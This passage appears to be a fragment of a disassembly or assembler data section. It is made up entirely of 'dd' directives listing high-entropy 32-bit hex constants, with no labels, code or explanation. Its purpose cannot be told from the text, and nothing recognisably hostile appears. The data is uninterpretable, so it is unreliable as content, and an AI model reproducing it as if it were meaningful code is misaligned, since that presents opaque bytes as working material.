60EE79ACh dd 651E2237h, 0F9C0C963h, 957BE73h, 709D162Dh, 0BFD00B4h dd 7D6C2544h, 0AF33D900h, 0C327CDDEh, 1F190BF5h, 2480175Ch dd 0DFD29660h, 70B04600h, 0DA39FA3Eh, 0B8E009Ch, 73457A98h dd 1009181h, 4D477E21h, 1B67ADh, 4AB6B00Ch, 40D01F5Dh dd 18AB391Eh, 384089D2h, 8271E46Bh, 4909010Eh, 0BD04EC1Bh dd 0A259FCB8h, 48017270h, 0FDE48511h, 0AF2082E7h, 326416B0h dd 0B32483D5h, 0A984E880h, 0FD18ED03h, 80647A08h, 0A2F82Ch dd 0DC976825h, 9D8471BFh, 36693A00h, 0AD881692h, 0B87F0BB5h dd 1423F6B3h, 607BE4C5h, 249DDB0Ah, 4400FCFDh, 0FB3D9021h dd 28D600A1h, 0F5426A9Ah, 0E8002AC3h, 0B3FE03B1h, 25E750Eh dd 91980814h, 0B8D8A79Fh, 0D9888C54h, 71E2B0C1h, 4208A5Fh dd 4B9C002Bh, 3A94B833h, 930CA370h, 21646BD8h, 0E88D0FD7h dd 6240602Bh, 0DB669F73h, 517F7E00h, 4357FB8Ah, 286D3B7Dh dd 0D9C7A500h, 7405D3Fh, 53FA2B00h, 6BEF4E9Dh, 2C9A60h dd 112FCD06h, 3ED6C3BEh, 0ACA08650h, 0E3455B1Ch, 90C14741h dd 81804F54h, 18D3988Bh, 25029BB9h, 31608C5Fh, 5CE02015h dd 2E01BD16h, 61B16999h, 6420067Eh, 4BDE0BEAh, 6D80B33Fh dd 0F151BC55h, 6C008FFCh, 0B8917ECAh, 0D24958h, 251908ABh dd 214541A2h, 9502A4EEh, 163496E7h, 49C46087h, 93AD009Eh dd 0BCF3A682h, 0A200A96Ch, 991253A5h, 7AD35D18h, 66F00E6h dd 726B5C38h, 95267326h, 0F10121E2h, 7BFED318h, 1B3A1C0h dd 0DE496E74h, 0C8ADAB0Ah, 0FB004503h, 47B86B09h, 0E66449Eh dd 9B247CDFh, 829FC8C0h, 0D8011749h, 7F62E29Dh, 60202D4Eh dd 0DE363C5Fh, 4B737801h, 0D0FF0781h, 6C3090D2h, 226F6A10h dd 6A851DD7h, 0D475C069h, 37C9749h, 3A1739h, 279538E9h dd 1CA7D7h, 0FD5DE1CBh, 0ACB775FEh, 0ECA55C0Eh, 0C96D21FBh dd 0B9F0B511h, 0A02B00FCh, 0A75DCB3Ah, 400F665h, 4DB1CCDAh dd 600F43h, 64B65BF0h, 246507D0h, 41A86D00h, 0BD61CCD8h dd 5B580068h, 0EF2FDE1Fh, 0E51C4D2Ah, 410F555Dh, 267700DFh dd 0C02BB9h, 4A44E76Bh, 12ECA0F6h, 36F9F409h, 0A06B88C2h dd 8661BC00h, 476304h, 0D5FF9BA0h, 0FB24FD79h, 520112F0h dd 0B92FB633h, 9080918Ah, 66CCAA8Eh, 0FB001F20h, 2FFAC1BFh dd 5FD2D3h, 62657EABh, 0FC7FB237h, 54CC5A01h, 0FFB9106h dd 0EC77089h, 3CE0DA89h, 0E7277A1Eh, 0BB7052h, 699D0837h dd 347DDA5Eh, 44D68B50h, 0A9CF7216h, 0BC1D6020h, 5FD7B0Dh dd 0B9B3FFF5h, 0B650E0BBh, 45F4AF00h, 0B8868B9Fh, 1D72E4h dd 77A063D6h, 0C679D474h, 760016EAh, 0A47F2E27h, 4E06E09h dd 524CFC21h, 0C548D3C3h dd 20D8F0C1h, 3AFA4ED4h, 0D6067D0Ch, 7D016850h, 4347CB5h dd 0E38D8ADAh, 2A08C864h, 32489900h, 7672062Eh, 0FCFA5842h dd 9560B80Ch, 0AF0154E8h, 12A7E9B1h, 43D47D9Fh, 16500022h dd 859323B7h, 6213BC37h, 0AB0046C1h, 74FA9DEAh, 6D3300BBh dd 0E4C6F254h, 7F0702ACh, 45130D48h, 0C11AF5C1h, 1EEC93F0h dd 80B6203Bh, 5C7CBF71h, 7FA8BF3h, 2B786101h, 0F0FA868Dh dd 0E6C1080h, 1530A655h, 0FDD31F00h, 44B9BDBFh, 0C8B11C9Fh dd 7D754053h, 439CBEAEh, 3BEEF93Fh, 5EAC8022h, 81E4A279h dd 19970708h, 0DE207F0Ah, 0EDB98858h, 8D5F2407h, 6810D1A8h dd 1271CC4h, 213CFB36h, 0D078B017h, 7E00A152h, 0E8702881h dd 343087h, 0F2DC3D15h, 0F7E2970Ah, 360F3E7Fh, 41322FFCh dd 0F9317DA5h, 656D25C4h, 0C08EF9F6h, 1B0B9A18h, 0F2010C0h dd 2B651BDh, 65965A32h, 0AEC06A99h, 8A00C4A9h, 0C15B8566h dd 309BC3h, 29FADBCDh, 0ADCB6AB9h, 0D988678h, 0C14BA09h dd 0AF0F83D4h, 0F33B99CCh, 0E641C4h, 0C1549E90h, 850545F7h dd 0E5F66474h, 0E90FE003h, 0A76B0BF3h, 0B2C96A70h, 2F811855h dd 58C0B839h, 47A0A1Ch, 33CE6447h, 680B8590h, 60130989h dd 240039E2h, 49EFA379h, 14809A00h, 48D95310h, 11880EC1h dd 6A208291h, 0E9D6BB1Dh, 2904C200h, 680374D7h, 875E00FAh dd 4D8893EBh, 60071D24h, 0CCC72897h, 417419F0h, 40D6092Eh dd 4583209Fh, 0E4F8B5A5h, 892EE8C0h, 3920FDh, 19F02D4Fh dd 24955Bh, 50F2EDA5h, 6EAAD7C7h, 28BA6700h, 34F3B959h dd 696D03C9h, 0DD5CFA0Ah, 86DABB90h, 0ECF8167Bh, 0CD3D0301h dd 5967BB3h, 1864ECh, 0CF8B4519h, 2D2212ACh, 0C820200h dd 325B57B5h, 44EC0068h, 27F04350h, 3900EBF5h, 1ED15FACh dd 465EA7h, 6BF9346Ch, 0BEA5CD5Bh, 0FD1BC0F9h, 7455E20Fh dd 9E93A052h, 12EA448Ch, 0B941D0h, 0C63C63F6h, 75009A89h dd 0ADF36FFEh, 3C2CE556h, 2180BE96h, 0B0DD0B16h, 353F2B6Bh dd 56F100E8h, 8CFD26E0h, 8A3B00A9h, 74DEC599h, 6D0006F6h dd 76A8FF5Ch, 483A124Ch, 70003866h, 0C09EC7DDh, 0E90015D7h dd 7AA92B1Bh, 0A45BD5h, 0B71D2FB0h, 0D605DB1h, 2B0021E4h dd 50AAFDCEh, 613DBFh, 0B0C654E4h, 8E8F96A8h, 0A5909500h dd 0D43A33F8h, 4277006Fh, 210B97Dh, 8C179B59h, 0CFF836F6h dd 85324D00h, 0E424AF14h, 0C251A00Fh, 0F6428494h, 8F0880AAh dd 4400B8AAh, 651ED79Ah, 20F28Dh, 41382630h, 19352FC8h dd 62CF9E00h, 0B644AACBh, 0FEF8005Fh, 7DA03411h, 42FA50D5h dd 4FA8C30Fh, 82DEA0E8h, 3833ADh, 726A60BEh, 0E197E451h dd 0CEEB7000h, 0C641EEAAh, 7B171C4Dh, 0D45EC0FFh, 54589C86h dd 0A136DC00h, 0CAD6AA27h, 2C0B4C3Ch, 0A9D90C07h, 3A4BF0BFh dd 0DE24563Bh, 800E44Eh, 3EF94F2Ah, 6FC3001Fh, 5195D240h dd 0A4009A88h, 76E34466h, 1BFFB4h, 3F231A4Ah, 9077262Bh dd 0C448F600h, 0F5700741h, 0CCD400B5h, 0E11DEBAh, 1E3FC987h dd 0E1EB00FBh, 0E6D9EE67h, 78A70552h, 809BA9F1h, 284B26E9h dd 0AE77881Dh, 8C933B4Ah, 0AB64F900h, 2847D5Eh, 0EE87E53Eh dd 0F06020D4h, 4800F360h, 3FCD96E4h, 904EDA5Fh, 84AE001Ch dd 0EB338979h, 8600583Dh, 7A55105Eh, 80F562h, 2D54A8BAh dd 5695510Ch, 0C7F88F78h, 0DA064C00h, 0D217CCCFh, 281100F8h dd 644D1339h, 0BBEC4FF9h, 778C8400h, 0A8E048F0h, 1A330049h dd 0C399E122h, 3000031Fh, 6257E2FEh, 128F7C54h, 5368B89h dd 82941498h, 0E040D579h, 0CF2E586Ch, 8600E21Dh, 1712C2B0h dd 7F330054h, 0F9F8EB02h, 0CB003011h, 3801C37h, 0B2E4EF3h dd 9E9DF6A3h, 799A4022h, 7D68D540h, 2C5D4A0h, 0A8BCCB50h dd 0C1007FE0h, 89D35DC7h, 4C56371Eh, 1801983Ah, 0DCF172E1h dd 0A25C4AAh, 852D6800h, 0B7551101h, 91C2023Ah, 384C500Fh dd 7DF7D060h, 31289600h, 89A348B1h, 0E50C002Fh, 0A93265C2h dd 9898D442h, 5B00DDF6h, 0BEF470A7h, 1FD8AAD3h, 0FB3089h dd 358E66Ch, 0FD30CD14h, 1FF0E0FAh, 0B61D02C1h, 0C7685AC2h dd 34BB9B60h, 55A9EC0Ah, 0A601DC5Fh, 2A9A838Dh, 694FFA81h dd 0DC44CC70h, 7324D09Bh, 0A50078C6h, 0D69EA3ADh, 0BAF60A0Fh dd 99CC2Ch, 948E63E9h, 0C3005F15h, 46ABCA26h, 0EE4B0442h dd 0D9010017h, 0B5483A44h, 2700CC34h, 0C674E1BEh, 9CE4EE7h dd 0A51E7A01h, 49ACD420h, 16007E98h, 54C4E710h, 1B92D3h dd 5387799Fh, 9EB92DF9h, 2BAEAD0Fh, 6D1EE0B5h, 0B56FA70h dd 0AF4421DBh, 0E7992A80h, 7512C99Ah, 0D400D267h, 0D5F2FF5Bh dd 0D35E2EC1h, 62BF8028h, 354E93CEh, 4D786602h, 7BB1030h dd 3AD69079h, 0C80105A0h, 84CDD0E4h, 0DD83EC9h, 2B1D00C4h dd 32DF69AAh, 5398BC0h, 4C0FFD6Ah, 60582DB3h, 8E4FF387h dd 0B2ED0037h, 62EE5438h, 891D1FA7h, 36855CE0h, 0A28025A5h dd 3B0FD283h, 3D814AD3h, 0F6A13F6Dh, 8CF3606Ch, 0B3BC055Eh dd 6389F43Dh, 0A485E571h, 3C81FF69h, 2ECC7B07h, 428B00BBh dd 345CEADEh, 7A006C10h, 0B7856BD3h, 1CC1822Fh, 0C2866F21h dd 5345360Ch, 0C480F962h, 41371454h, 92CCA000h, 0D079F5CDh dd 243C00BBh, 0D685FF25h, 2D00675Ch, 3EDBE86Eh, 99422Bh dd 2877AD84h, 0F2CFD6DCh, 3A1D250Eh, 0D29D04C8h, 139B9800h dd 0A25D8384h, 1253FD4h, 90D2738Eh, 0A06B66EDh, 8300C55Ah dd 99D9C105h, 0FDE988h, 0C0931E82h, 217F6106h, 17E41100h dd 975BC555h, 0F450B0A1h, 0D4D3914h, 1AA93680h, 45A26EFEh dd 80A3D63Dh, 3BE28473h, 242E6708h, 3D72AFC8h, 20F7480h dd 0EA0B44B5h, 3B01DA00h, 750E3638h, 7D2B0018h, 0F966B79Fh dd 24817A9h, 9D80004Ch, 62AC3235h, 12D090A0h, 40BED908h dd 809E1820h, 321C51CAh, 9C3AF704h, 0CF832ECCh, 0D06EA621h dd 237DF5Ah, 7D66B53Eh, 4C483538h, 0B7580A07h, 773C54E2h dd 0A58BFF07h, 9C30666Fh, 756AD8h, 0E5AD6201h, 6DF4A02Ah dd 2CD9CD00h, 0D5CF6828h, 0C33A0014h, 611FDEBBh, 4800AD36h dd 0A12E8164h, 94AE37h, 3D70783Bh, 24DBE731h, 3CB095EAh dd 934BD00h, 0ED867774h, 0E0B02Bh, 8418CBF1h, 0A9610F06h dd 7CF72401h, 9F70B4D3h, 148880C2h, 24610DCh, 0AF27199Ch dd 0E4E08797h, 9A00CE47h, 0FFE5634Bh, 0BC7BE7h, 1630F3E9h dd 25053804h, 82FA0E3Fh, 0B8D6C427h, 0B531E1CEh, 5C7FE840h dd 0B64100BAh, 0F5ABA984h, 4A27F19Eh, 0D2DC99h, 0A2B0C5B8h dd 5B00C70Eh, 285DE2BCh, 13C50C9h, 9C0FEAA3h, 71FD2254h dd 0FC7C3010h, 1CB51B00h, 0DE164DEDh, 93F400B8h, 0C16834CBh dd 9D58526Ah, 61C0288h, 4379149Bh, 0C0A480B9h, 0F22B0ECEh dd 845D9AD9h, 0A0359630h, 7002188h, 5FF42D11h, 4CB3A7A0h dd 0B900DEF6h, 0A47E7546h, 123C30EAh, 66BC39h, 0C7985292h dd 7C111FE4h, 6C9A4817h, 18F8151Fh, 0B40C4DEh, 0EA07911Ch dd 0C7023300h, 0D699EE82h, 1D1F0328h, 390046C5h, 754F223h dd 30C255EFh, 19192B5Eh, 8E00B26Ch, 9BA7EAD0h, 48B6FC78h dd 4A00940Ch, 6E03AB71h, 373D553Ah, 0EB5E8005h, 0DB8FCDCFh dd 40FB0A0h, 0E3C8D523h, 0D190C064h, 0A1005BD3h, 51F0BCD6h dd 32A4347h, 567C7F98h, 8F0BBCBh, 6B6773FEh, 0D1804930h dd 89039Fh, 0CBD3A692h, 5BF36393h, 20B7DF13h, 4A663500h dd 7B04F11h, 9D7812BFh dd 610870C6h, 342E5182h, 9B00C9E1h, 3B6AEF1Fh, 0E03E7052h dd 9F420057h, 546F0BF2h, 5A1DC6F0h, 0E40036CBh, 992907D7h dd 0F44A0097h, 0BC07FD3h, 0F906412Dh, 0FBF1454Eh, 0C6EF0141h dd 0B3C49771h, 4FBF6001h, 44153300h, 0D8610D9Ah, 0B0953CC7h dd 77DEC581h, 801210A7h, 0E5E23382h, 0DB6176h, 0AEE09B4Dh dd 69B3084Ch, 932ABE0Eh, 3B0C0057h, 4C1E9h, 0FBF875D9h dd 6028CC29h, 0C732E500h, 8E83A9B0h, 4C9213h, 0A3EA9A49h dd 8FBAD57Dh, 29C0F5FAh, 0A01DB3F9h, 0BB7C3D79h, 52246A1Eh dd 0CE6C03FCh, 0FAF0B8EAh, 0F0227D2h, 53A9121Ch, 4B5FCBCh dd 0C0A58E98h, 5AE3F900h, 4513AB03h, 0F8E8D629h, 1C9AB34Bh dd 0C0DC56D3h, 0C1BEE934h, 2C1F62E7h, 0BCC0C971h, 41F91FA9h dd 0F23CE2F6h, 7AAB00FBh, 8F3046E2h, 0E3B5BC8h, 0D2A1785h dd 57D4F40Eh, 0A524C004h, 755A8D01h, 42B0E056h, 8348E27Ah dd 0D700771Ah, 7039CFE9h, 499516h, 94BAAE73h, 7D859A74h dd 0F5548300h, 0C46F7C41h, 876B001Ch, 0B764AA13h, 2D136CC3h dd 0DC8098EEh, 7172C474h, 307D5982h, 4C516A03h, 111F04EAh dd 748009D8h, 0FE91502Dh, 0ED121624h, 347C00BCh, 0FD60EA69h dd 75519967h, 4F607137h, 75A4B13h, 0FEF12A03h, 0A89E28FFh dd 8D985880h, 1F2242D7h, 1456C4Eh, 0CAA798Ah, 2CC7C513h dd 0DB0E8008h, 6E3A2Ah, 0E7118302h, 9379FB4Ch, 0A816E84Ah dd 0EB121906h, 0D55C3A61h, 567B2C8Bh, 0CB79B980h, 6E00A9B8h dd 47953946h, 120350E4h, 80F72FF9h, 5DC9C564h, 0D5621C03h dd 1D5ACCE7h, 1DD058h, 677AD1EAh, 0C006F70h, 0DE527316h dd 0B85B91h, 46EED8F6h, 44BF9E1Fh, 880F0C9Ch, 53EB80F7h dd 1A3547h, 9196459Fh, 29DF51CFh, 196C0E07h, 0C9077DBFh dd 5CFC80F9h, 16D02E8Fh, 9D9DA1Ch, 3060DD93h, 9A70771Dh dd 0F76B2800h, 88CA87Ah, 0F1E86001h, 0D497AACDh, 0D089C100h dd 1D6593BDh, 5BE32DADh, 0E7683410h, 9D4B5100h, 0AFE68FB9h dd 3BC313C6h, 0F93C00E8h, 0C9352331h, 0AA24CE06h, 18D5D8h dd 147F9491h, 57830D47h, 0FA3D2501h, 0EB4ACCF9h, 4D1FFC5Ah dd 97803965h, 0BAEF3ED9h, 0D50464DEh, 0E70FA21h, 0A8697080h dd 10A91C86h, 494BC030h, 0FA66E53Eh, 4305F890h, 2DCB7611h dd 656E1887h, 8840F7DFh, 0C19074A1h, 63F2D8h, 41841E12h dd 0CCE0109Fh, 0DCFB9300h, 6582A091h, 87113ABFh, 1FC10600h dd 51954E69h, 195AE81Eh, 1F76ADh, 263F04ECh, 8F001220h dd 38CE9960h, 0B92E0Eh, 0B89B8E9Eh, 9DA5A12Dh, 0FF265A00h dd 0AC4C0378h, 0A9B9002Ch, 9A7F7D1Eh, 3F5C3EC1h, 0E1920000h dd 0BA4EE953h, 0DC730081h, 92A17AEh, 2006362h, 6B2D4456h dd 0B0559B26h, 54870098h, 10B47DA1h, 9500780Dh, 829E97E2h dd 0E516ABh, 0FA2D31CAh, 0AE12B6DFh, 4B495000h, 3FFD4D70h dd 6CCE0086h, 0F07E96CFh, 0E01B71Ah, 0DFA450E3h, 0A6D0D1D9h dd 970040Dh, 0BEC46AFDh, 7FA70AC0h, 21CE04Ah, 47D3FFB5h dd 0B1405154h, 0F3AA55Eh, 0C9D582FAh, 53611360h, 0D89D81FCh dd 24C0206Fh, 22009400h, 3D7F1EE5h, 90C9A0EFh, 287612E0h dd 0D3600040h, 338519C8h, 802C3E03h, 0C0350550h, 0EA0D1D0Bh dd 0F0C854A3h, 78744888h, 61B22586h, 0C3E9CD10h, 0C0389B74h dd 63782CE7h, 94C27924h, 3EE89C01h, 5834F425h, 4CE60071h dd 0A6EB0A4Bh, 0D0C0F11Bh, 6B3CFEE0h, 37CA0FD6h, 0BE20631Ch dd 2F16EEAh, 2F909F05h, 0BB14B79Eh, 995E00CEh, 56886BC7h dd 8B6300F1h, 648A3F45h, 0DA3A6AC0h, 0A2AF00A1h, 0B8766F9h dd 30E50968h, 8480A3F1h, 0F22AD2ABh, 80505F3Bh, 4AF84DC9h dd 0E807A0h, 0D46388A1h, 6F1DF13Eh, 600B9D0Fh, 949E7h dd 5B8A05Eh, 3E220039h, 2B2CBE3Bh, 0B300A289h, 83FDF00Ah dd 1EC3DA6Ch, 0C086AE84h, 2B59C5B7h, 1207AB73h, 0F38C26Fh dd 0F3ACCD20h, 0B97007Ch, 0DF02E810h, 7601DC01h, 6995C0A8h dd 0FCC481AFh, 0FB8033Dh, 0C4118CD3h, 0B1265800h, 8387BF90h dd 7840000Dh, 5C5D8ADFh, 2000B518h, 1C63B22Ch, 0D80A66h dd 8FDD52A6h, 7FA139D4h, 0CBEE5D28h, 5FBF4600h, 38044BCDh dd 33703AEAh, 1F09AD80h, 0E1F08A75h, 0F2257A1Dh, 0CA9D8039h dd 0EEB1284Ch, 0FAA0A397h, 8FB6C0A4h, 0B8A0045h, 0B1F1E5F0h dd 0E763DD4Ch, 8841BE90h, 307F3D1h, 0FD2D6E8Fh, 6600DB6Dh dd 0F83D05Ah, 3AF0CCABh, 0FA3CD903h, 0F360F372h, 586F00B0h dd 0E49A1B79h, 0CC0328A3h, 0C54D412Fh, 982BF372h, 8C0F31h dd 0B1E6C369h, 3EB4C2E8h, 75CA1E09h, 0F849805Ah, 98EC8Ch dd 0BE031733h, 16A551Ah, 0D591771Eh, 85D44580h, 58BD1C4Fh dd 8403D76Bh, 0E0ED03B0h, 1520C698h, 768A4000h, 0B3539668h dd 6FD21FDBh, 0E686C00Ah, 4A8E48Fh, 0E000A4EAh, 374A1F7Ch dd 77017635h, 39DE0371h, 68819F65h, 0FC4B73A1h, 0DC00329Bh dd 26C5F5B1h, 0CC0A3Fh, 0A7FD8220h, 83D185ECh, 0CBE90E07h dd 0B0801A54h, 0E40181h, 9B5BBECEh, 0B7C30967h, 0CCED0B00h dd 0DC06563Eh, 4F82009Ah, 13A00FBDh, 0AE00A344h, 9BE1C469h dd 41CCF3Dh, 0A504687h, 2A2CC035h, 0F800ED29h, 15C4EEE7h dd 0CEB1856h, 651EAAB0h, 0C6000820h, 9C3A2B22h, 1E6A547Ch dd 9C9AA979h, 0E6D90645h, 3CEA2864h, 0DC313Fh, 2D65AD9Eh dd 1D20E02Bh, 406DA239h, 0BD17F7B5h, 7016043h, 0EF0A101Eh dd 8020578Ah, 40480005h, 0A4655267h, 2100DE43h, 2B8A7893h dd 9D1F590h, 77595691h, 0BA536585h, 0AD204A87h, 73B5331Bh dd 6EFC8Fh, 0BD22AF18h, 1527E257h, 167D9200h, 0D5899EE3h dd 0D46B0775h, 65D7B9h, 0CCB0AAF0h, 8F9C4C01h, 9B8162ABh dd 0ACC09840h, 1C4D01CFh, 53B90B6Ch, 0A9F7EC39h, 0A89DBC03h dd 98F686E2h, 800D99h, 0DA93BB4Fh, 1005F01Dh, 4D472C00h dd 7482E668h, 6E9400D1h, 7CC56FF4h, 0CF0035D0h, 426B97B1h dd 7C74D6AAh, 7B3B3EEAh, 93EB8000h, 6D61B701h, 0FEC74603h dd 0DACE2662h, 81C48209h, 1FA4C0D5h, 523A0711h, 0C08697B8h dd 0A47B2690h, 0CF95F404h, 0AC80174Ah, 1E1DA3C5h, 0A0D836h dd 0B4DCE126h, 503EB92h, 73D2CF18h, 0FA5BB0D7h, 90C0A85h dd 1C8A370h, 8ECA8B8Dh, 0D840316Dh, 6C023265h, 63E9A42Bh dd 76D481BAh, 3182FE43h, 3B3C35CBh, 4C63E540h, 77001EF6h dd 95C639C0h, 5B347Ch, 85EB0273h, 363190C8h, 84004C90h dd 1C38CF04h, 0F7C9257h, 0B2569452h, 0FF1ECBA0h, 28002506h dd 3DBA4855h, 0E6DD8FEBh, 33F022h, 6B1F7A21h, 0C6C5B319h dd 553A5202h, 407ED3B9h, 269627B4h, 7C9BACh, 0A7D613CAh dd 6C005E7Dh, 8B8BD9Eh, 1E2E357Bh, 3978E7h, 2CF16822h dd 20E6C724h, 35969A07h, 32C0C10Ah, 594AD4h, 0CBB01267h dd 4602D18Bh, 50A0DA00h, 9D41E4DBh, 5928003Fh, 1E6513A9h dd 87002E64h, 59C4B60h, 48867Ch, 98B03F10h, 69E28CEEh dd 0C5007BE4h, 0E1CC4E7h, 0A9ABB112h, 59E4C98Ch, 6DF30156h dd 0CE23588Dh, 0D8046550h, 0EB0082E1h, 0A49C96F2h, 0E0D075D7h dd 0FF7938A8h, 351E6F80h, 640D3E2Ch, 341C9D00h, 1AE17660h dd 20FC59F0h, 57E97C0Fh, 30506880h, 47788AB1h, 6C959106h dd 0E88BAA5h, 6EDDB2D3h, 0FFE9CF80h, 18C0AD57h, 3FFCD605h dd 4D30C75Fh, 6CBF404Fh, 1C034504h, 0F2C2E54h, 2303A0D0h dd 5CC50044h, 35A74F6Ah dd 0FC2C7A39h, 7BC90CBh, 0B1059FDDh, 2A3FBF40h, 79C06065h dd 44B51646h, 5F30A801h, 0EF1ADE76h, 0FEEE6041h, 82D14840h dd 0C07772DDh, 0CCD37138h, 10A002E9h, 1CA0EB1Bh, 307BB070h dd 7F8E1600h, 0CC736BC3h, 6C89486Ah, 7432AA01h, 0E0863192h dd 0B000AF60h, 219E376Ch, 30019806h, 7A18B5BDh, 823C5441h dd 0DE9980CDh, 30EEFC47h, 20B96EA2h, 0AC506C63h, 0DB998001h dd 0A3224132h, 55153080h, 2A50DCA8h, 1611680Ch, 1BEF189Ch dd 409ACC30h, 31D2F4E0h, 6E835D1Eh, 52197C02h, 0B784008Ah dd 0D0C0CB7Dh, 0ECFE4B69h, 52B00CF8h, 0B4E9FDD4h, 6C6909C7h dd 0EF9C848Ah, 9851501Bh, 30219973h, 11D1BDD2h, 0C71C6BB3h dd 0B0BB85BEh, 48641C5h, 24957D87h, 8750B5D0h, 0E0A62B2Eh dd 98D71A30h, 0BE7C32FCh, 2C723916h, 74F33D06h, 81608060h dd 0ABB00D7h, 0AB527D32h, 0E007618h, 7FB021EFh, 0D3149Dh dd 6830173Ch, 58E4D61Eh, 0CF315D0Fh, 0AE001DACh, 2B420F40h dd 0D56E2860h, 63C60074h, 6F0E4541h, 1C002CF2h, 8B6553E3h dd 0CC3C1C7h, 5769FEE9h, 502F2B8h, 67FC8FD2h, 74040D4h dd 59C90290h, 0E9C7865Ah, 3300C044h, 4F614B08h, 7422F7EEh dd 0C5EA0F24h, 0D940F983h, 869D6C3Bh, 6F1F2D00h, 1CE035FCh dd 0C1720041h, 0DD31B8Bh, 9B28A7CBh, 0FE70A276h, 0F4894500h dd 2C64CFE8h, 2E1BF433h, 186DFBEh, 0D7C769D4h, 0D5818C8Eh dd 57E1F3h, 0FE0D415Bh, 0CAD45A14h, 8CCC354h, 1C2C0C3Dh dd 238F8218h, 416A8022h, 44D4793Bh, 5DB08E55h, 0BA1D3600h dd 0CBB51E50h, 0E39A0E81h, 72000E5Ch, 99FF6D5Eh, 0E9CE13Eh dd 1B2D70h, 1DD9B960h, 1BEEF89Eh, 18E0B480h, 261069D0h dd 47FA3001h, 17FB88E5h, 1337AE0h, 1E1375EAh, 981B0A0Bh dd 5A21ED09h, 0EBEA004Ah, 86A89457h, 62000974h, 0A9A09C31h dd 18FF7C5Eh, 309A2629h, 0FA0CDD83h, 18EC0CF8h, 302EF864h dd 46210BCFh, 3150AF37h, 2B19FEE1h, 49084F8Dh, 5F412184h dd 0A38DC0AFh, 0FD1E08CFh, 0AC410F48h, 21B97166h, 0B016D887h dd 3314C838h, 8CECAC68h, 0D8C2DE03h, 0FD02C9FCh, 30582418h dd 0BA60800Dh, 11233Ch, 0FB968BE2h, 7081FD8h, 0EAC53F32h dd 52F02088h, 180ECEC1h, 0C0FAD994h, 0A217AD04h, 1AA41C0Eh dd 48C40EE7h, 2BC031CEh, 3FBE7832h, 9D3E8EEEh, 56C887h dd 0F76C9E3Bh, 23D35h, 0A8223E98h, 0D3A0A385h, 0AFF61E00h dd 50D21C10h, 769A0047h, 0B4AD39B8h, 451CAA7Eh, 0F240F95Ah dd 4D021CD5h, 0C5A80087h, 145D3C69h, 0D307EF0Bh, 8A516F15h dd 0F5A750CCh, 0A6CC5980h, 0FC027A90h, 9FE88900h, 0D62638C9h dd 6C640F3Fh, 5120A4E2h, 82C1251Ah, 0DF957D06h, 41C201h dd 0DC72E3E6h, 0AD76F108h, 12D95100h, 0DAE04BC8h, 19096F9Eh dd 2048B201h, 0AFF7E02Ah, 2D0C500h, 0B18516E3h, 0EB2B0E1Dh dd 45619DECh, 80EA1952h, 0F8C0F4D0h, 0AB5879h, 4AE9047Dh dd 7F9AEE0h, 0A2BB58C7h, 4CEB37A1h, 0C699E6F0h, 19AC4371h dd 1EDB900h, 0E0EFBFA7h, 1E3B3A9Bh, 9C589E80h, 4452AEFCh dd 0CEB55A18h, 778A2170h, 9A2A00EBh, 0DA4DADD1h, 63335A3Ch dd 0A0BDA85Bh, 0EA8F237Fh, 5D473D56h, 0A1E9BC80h, 8D539C9Bh dd 2DC66F1Eh, 11EC1E40h, 0C97168Eh, 0B19B0BF8h, 4B056628h dd 0C787AE0Fh, 9EA777C1h, 301D18A4h, 0E6032B49h, 18F35A0Eh dd 2D65C3A9h, 774AE0A2h, 0D3CD0F05h, 536CEF0Fh, 0C71E7ED4h dd 1700F49Ah, 0E993647Bh, 4BD901D8h, 0D5ACBA18h, 318BCD7h dd 65CB2EAFh, 2010070Eh, 17D11A04h, 0B1609C30h, 0FE3E9A70h dd 64A480D0h, 665B6EDFh, 0AD750110h, 0D5274897h, 258086E4h dd 0CB1AF73h, 0A35B77BEh, 470099E0h, 85EBC6DAh, 18F08FDBh dd 10C7C39Fh, 0EF7CF3BAh, 0F2BEBF00h, 18FA38F8h, 167500EDh dd 0C621975Dh, 64008B9Fh, 8C19D204h, 0A83958h, 473DDF11h dd 0B9090ED1h, 80279E3Ah, 0B064F697h, 8F722Eh, 3ECDEB2Fh dd 7FC92524h, 401F1A1Ch, 0E1751340h, 364CB1h, 0F9B44197h dd 0F216E9DDh, 62FD7F26h, 6FF84300h, 78667C1h, 0EF17756Ch dd 0B898C0E9h, 0C0007E21h, 0C69FA599h, 14948CA9h, 0D28EF2E8h dd 0A3383600h, 0EA9E05FEh, 9A59AB0Eh, 0A616080h, 1FF7A44Ch dd 7C7B3Fh, 3C057EA0h, 20006DD8h, 0EC1557CAh, 1071AE5h dd 27443335h, 0CDA52DDAh, 0F4F20B6h, 55008B7Dh, 66A64F96h dd 90EF8FD7h, 253E00BBh, 7A332F10h, 69E6302Ch, 0F342D000h dd 862A4DB7h, 76E53FA7h, 0C095E91Dh, 57CBF00Ah, 810BE7C7h dd 4F42DFh, 7AA10CC3h, 0C1610684h, 0F06B639Fh, 112A8005h dd 0DC40A833h, 8392E3D8h, 69E400E9h, 0E913F94h, 1298765Dh dd 0C063AE1Dh, 0ECDFD4h, 2A06FC6h, 0FB24EEAh, 0C25E9D53h dd 0AD383F20h, 6A00F625h, 2962390Dh, 0A2DE66h, 0EDFF91DDh dd 3B6450E0h, 0E4192500h, 7EEA7695h, 0BAC600E1h, 0DF77F7CAh dd 92008757h, 31DD119Eh, 18D6183h, 0F01A4A2Eh, 0F3B0120Eh dd 2552F7A9h, 0B358E440h, 118E6E00h, 9AFA0F69h, 1C90725Ah dd 6425B9h, 0B23CCC0Bh, 5E00D1BDh, 6CE0D471h, 34906Fh dd 0A619B13Fh, 0BE4AA38h, 20424F02h, 60D21165h, 5629ABEh dd 5298F41h, 8AC079Fh, 1C9670D9h, 145A68BAh, 0F80000E8h dd 3D7FE6ECh, 0AC0064B0h, 6277F039h, 3E969038h, 0EF003C45h dd 0FFC05442h, 0A4A08720h, 1600A06Dh, 0B0916EDEh, 5DBEBAh dd 9711403Bh, 65CC2119h, 8B06C600h, 0CD2C4B44h, 0E9C90352h dd 6F88F122h, 0D8B68D98h, 0CC88952h, 0A8CD78A9h, 3C80C0EFh dd 0A29EEC29h, 6A008DE0h, 0CE268343h, 0DEB9C8h, 25C6A911h dd 0DA2D7E1Eh, 0C28CF012h, 58BDE446h, 168F00C8h, 0EEFD96Ah dd 98A03DB5h, 0E8001496h, 2B90E250h, 1574E6EDh, 0A8219D80h dd 0F7C60600h, 0ACB5127Ch, 0FAE29C00h, 11CF1ABFh, 6E440201h dd 93E1223Ch, 0EF7B3440h, 6CE85200h, 0C8C7AA21h, 0AD0D0092h dd 18355589h, 70008D06h, 5CAE3EE5h, 19FA67h, 5F88DED0h dd 0A659207Dh, 